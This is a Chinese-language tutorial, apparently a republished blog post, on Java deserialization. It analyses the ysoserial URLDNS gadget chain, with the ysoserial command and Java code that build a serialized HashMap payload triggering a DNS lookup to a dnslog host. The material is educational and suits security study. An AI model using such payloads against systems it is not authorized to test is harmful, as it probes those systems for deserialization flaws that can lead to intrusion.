URLDNS反序列化分析
source link: https://dar1in9s.github.io/2022/09/14/Java/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#URLDNS%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Java反序列化漏洞的原理。
Java序列化和反序列化
Java序列化是将Java的数据和对象转换为字节流,反序列化则是将序列化后的字节流恢复为数据和对象。
如果想要序列化某个对象,则必须让对象所属的类机器属性是可序列化的,即必须实现如下两个接口之一:
Serializable
Externalizable
序列化可以使用ObjectOutputStream
的writeObject
方法来完成
反序列化可以使用ObjectInputStream
的readObject
方法来完成
// 序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(new User()); // 序列化操作
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(outputStream.toString());
// 反序列化
byte[] in = outputStream.toByteArray();
ByteArrayInputStream inputStream = new ByteArrayInputStream(in);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject(); // 反序列化操作
objectInputStream.close();
System.out.println(o);
在反序列化的时候,有如下要求:
- 被反序列化的类必须存在。
serialVersionUID
值必须一致。serialVersionUID
必须是public static final long
除此之外,反序列化的时候是不会调用类的构造方法的。
Java在序列化时一个对象,将会调用这个对象中的writeObject
方法,参数类型是ObjectOutputStream
,因此可以通过类重写writeObject
方法来自定义序列化。同理,反序列化时,可以通过类重写readObject
方法来自定义反序列化。
public class User implements Serializable {
int age;
private String name;
public static final long serialVersionUID = 5454545454L;
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.defaultWriteObject(); // 默认的序列化方式
oos.writeObject("hello world");
}
@Serial
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 默认的反序列化方式
String message = (String) ois.readObject();
System.out.println(message);
}
}
ysoserial工具
ysoserial是一个反序列化payload生成工具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给用户,从而执行用户预先定义的命令。
ysoserial工具的用法如下:
java -jar ysoserial-all.jar [payload] '[command]'
例如生成URLDNS的payload:
java -jar ysoserial-all.jar URLDNS http://urldns.4f4e4172.dns.1433.eu.org > urldns.txt
需要注意的是,windows不能在powershell中去执行,会输出错误的payload,要在cmd中去执行。
在生成了payload之后,进行如下测试:
@Test
public void test1() throws Exception {
FileInputStream inputStream = new FileInputStream("urldns.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object o = objectInputStream.readObject();
objectInputStream.close();
}
执行即可发现进行了dns解析,dnslog平台有回显。
URLDNS反序列化分析
URLDNS是ysoserial中的一个利用链,其payload在生成时可以发起dns解析,通常用于检测是否存在反序列化漏洞,整个调用链使用Java内置的类构造,对第三方库没有依赖。
因为URLDNS调用链简单,所以很适合用来入门学习Java反序列化。
以下是ysoserial生成URLDNSpayload的代码
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* 重写SilentURLStreamHandler类是为了避免创建URL对象的时候发出DNS请求
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
ysoserial会调用getObject
方法获得Payload,这个方法返回的是一个对象,这个对象就是最后将被序列化的对象,在这里getObject
方法返回一个HashMap对象。
因此,反序列化的时候就是调用的HashMap
的readObject
方法,其代码如下:
@java.io.Serial
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " + loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " + mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
根据ysoserial生成URLDNSpayload的代码中的注释,During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered
,可以知道触发点在于readObject
中的最后一行代码,在这里下断点,其中的key是URL对象
继续跟进,由于URL对象的hashCode
被设置为了-1
,这里使用handler.hashCode
对其重新计算。这里的handler是URLStreamHandler
的实现子类
继续跟进,这里调用了一个getHostAddress
方法,参数是最开始的URL对象
进入getHostAddress
方法,可以看到调用了InetAddress.getByName
方法,dns请求便是在此发出的。
因此,整个调用链为:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()
总观整个调用链,要到最后的InetAddress.getByName()
方法,需要如下条件:
- HashMap中元素的key需要是URL对象;
- URl对象的
hashCode
属性需要是-1;
因此,就容易理解ysoserial生成payload的代码了。以下是此payload的另一种实现,原理相同:
import org.apache.commons.codec.binary.Base64;
import org.junit.Test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
@Test
public void test() throws Exception {
URL url = new URL("http://mydns.4f4e4172.dns.1433.eu.org");
HashMap hashMap = new HashMap<>();
hashMap.put(url, "");
Class clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.flush();
objectOutputStream.close();
System.out.println(Base64.encodeBase64String(outputStream.toByteArray()));
}
P神的《Java安全漫谈》——反序列化篇
https://javasec.org/javase/JavaDeserialization/Serialization.html
感谢我的小兔兔@兔子一直陪在我身边,要一直一直爱你!
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK